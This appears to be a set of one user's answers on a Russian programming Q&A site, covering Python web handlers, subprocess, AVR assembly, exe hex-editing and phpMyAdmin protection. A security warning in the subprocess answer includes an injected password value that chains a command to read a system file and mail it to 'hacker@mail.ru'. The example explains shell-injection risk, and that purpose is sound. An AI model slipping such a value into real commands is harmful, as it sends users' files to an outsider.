• Как отвечать на POST запросы Python?

    Приведенный ответ в целом верен. Кроме того, что в реальном мире нужно проверять тип запроса указанный в JSON и отступы (identation) выставлены не верно:
    import falcon
    import json
    
    
    class CResourse(object):
        def on_post(self, req, res):
            data = json.load(req.stream)
            if data['type'] == 'confirmation':
                res.status = falcon.HTTP_200
                res.body = 'ddd'
    
    
    app = falcon.API()
    app.add_route('/callback', CResourse())
  • Как отвечать на POST запросы Python?

    Можно и без кода, но Вы забыли указать путь на котором будет ожидаться получение POST запроса. И для какого фреймворка Вам предпочтительно получить код или посредством стандартной библиотеки реализовать?
  • PermissionError: [Errno 13] Permission denied. Что делать?

    По поводу оформления:
    Поместите код в блок для исходных кодов. Для этого нажмите кнопку < / > на панели и выберите Python. Оформление вопроса в таком виде, просто издевательство для глаз. В Python важны именно отступы, а у Вас все сливается

    Это замечание. Сейчас попытаюсь разобраться в вопросе
  • Кто может помочь изменить текст в exe файле?

    QS91, в своем профиле добавил свой адрес. Отправляйте программу предварительно запаковав паролем и указав в письме т.к. gmail не пропустит файл с расширением exe.
    Пока мне видится проблемой исправить, как Вы хотите, а там посмотрим.
  • Почему возникает ошибка "invalid character in identifier"?

    Евгений прав. Отметьте его ответ верным. В последней строке, в конце невидимый символ.

    P.S. Советую использовать VS Code для набора кода в дальнейшем. Это и использование линтера (flake8) позволит избежать проблем в будущем.
  • Как в скрипт поставить ввод пароля passwd?

    Reshh4rd, GavriKos прав. Возьму смелость добавить:
    • Согласно PEP 324, os.system считается устаревшим еще с версии 2.4, и заменен стандартным модулем subprocess.
      import subprocess
      subprocess.call(["usermod", "--password PASSWORD", "USERNAME"])

    • Работая напрямую с оболочкой, есть опасность породить дыру в безопасности. Можно использовать, но осторожно. Простой пример:
      password = '123; cat /etc/password | mail hacker@mail.ru'  # Внедренная команда
      subprocess.call(["usermod", "--password %s" % password, "USERNAME"])


  • Как лучше сохранять большие числа в 8-битных регистрах в AVR на ассемблере?

    Для реализации 2 байтового беззнакового целого числа используется старший и младший байт, и два 8 битных регистра для оперирование с ними. Так как в AVR регистры 8 битные, нужно всю арифметику с числами реализовывать самостоятельно. В какой то мере поможет инструкция MOVW
  • Кто может помочь изменить текст в exe файле?

    QS91, по моему мнению, есть два варианта, почему не сработало:
    • Возможно не воспользовались советом:
      Не забыть пересчитать контрольную сумму (CRC)

      Если изменить содержимое файла, то его контрольная сумма соответственно изменится. ОС проверяет на целостность, и посчитает, что файл был поврежден.
    • Числа в программе были представлены именно как числа (integer), а не как текст (string). Соответственно замена чисел (integer) на пробелы (string) повлечет непредсказуемый результат.

    Первую проблему проверить очень просто. Сравнить CRC файлов, они должны быть различные. Воспользутесь HEX редактором для выяснения CRC, с ней можно и подправить CRC в случае необходимости.
    Как проверить второй вариант, попробуйте заменить на другое число с такой же разрядностью (666->777). Убрать число, в таком случае, получится только знанием ассемблера.
  • Подключение мк АВР к питанию?

    Vadimm1001, прочитай еще про работу программных компараторов в AVR. Можно подавать на AREF необходимое опорное напряжение.
  • Кто может помочь изменить текст в exe файле?

    QS91, боюсь тогда простых ответов не будет. Разве что, могу посоветовать кое что:
    Открыть hex редактор и поискать искомое сочетание байтов в различных кодировках или еще просто число в шестнадцатеричной системе на тот случай, если в программе он хранится как целое число, а не текст. Пробуй искать и обратном порядке байтов(к примеру: 34, 3D, 1F -> 1F, 3D, 34). Заменить байты на код пробелов, если кодирован в виде текста. Не забыть пересчитать контрольную сумму (CRC) и сохранить резервную копию!

    Еще, двадцать лет назад сам использовал SoftIce и не помню какой дизассемблер для трейсинга и выяснения что и как изменить. Советовать такого, правда, не буду :)
  • Кто может помочь изменить текст в exe файле?

    QS91, Евгений Михалев прав. Все сводится к редактированию ресурсов(тексты, картинки, меню, ...), кроме тех случаев когда строка в заголовке окна берется не из внутренних ресурсов exe файла, а выводится программно.
  • Как закрыть доступ к /phpmyadmin?

    Александр Цымбал, переименование все равно ничего не принесет, т.к. сканеры имеют шанс все равно "увидеть" скрытый Вами ресурс, а поисковики и стучащий им браузер и расширения только помогут.

    В зависимости от степени Вашей паранойи, можно к примеру:
    • Переименовать и закрыть ресурс в веб сервере через Basic Auth. То есть поставить логин и пароль на ресурс. Страницу для входа сканеры не обнаружат или будет еще одна преграда
    • Можно сделать phpmyadmin доступным только с локального интерфейса сервера(localhost сервера) на указанном порту, а дальше через ssh туннель пробросить себе
    • Настроить phpmyadmin на отличный от 80 и 443 порт, и открывать его посредством port knocking. Брандмауер откроет временно для Вас этот порт

    Если второй и третьи варианты открывать через sh скрипт, то работать будет достаточно удобно
  • Как решить ошибку python?

    Jevgenii, попробуйте:
    export REQUESTS_CA_BUNDLE=/path/to/your/certificate.pem
    python script.py

    В действительности, конечно на всякий случай, нужно убедится, что не происходит подмена сервера. Одна из проблем что решает SSL является идентификация оригинального сервера. Можно прочитать про атаку Man in the middle
  • Почему не работает import в Python?

    >>> Насколько я знаю, это импортирует все функции? А если нужно импортировать весь код?
    Для модулей только функции и классы нужны. Или вы хотите вызвать и исполнение кода, что не в функциях?
    Если так, то при импорте происходит исполнение кода модуля, т.е. что не в функциях сразу же исполняется. Обычно, это как раз, не требуется и соответственно этого пытаются избежать таким способом:
    def main():
        pass # код который исполняется при запуске, а не при импорте
    
    if __name__ == '__main__':
        main()

    __name__ будет равен __main__ при прямом запуске этого модуля, и имени файла без расширения (.py) при импорте. Для кругозора прочитайте про пространство имен в Python-е. Спойлер: модули(файлы *.py) в Python такие же объекты как и экземпляры классов, и работаем с ними соответственно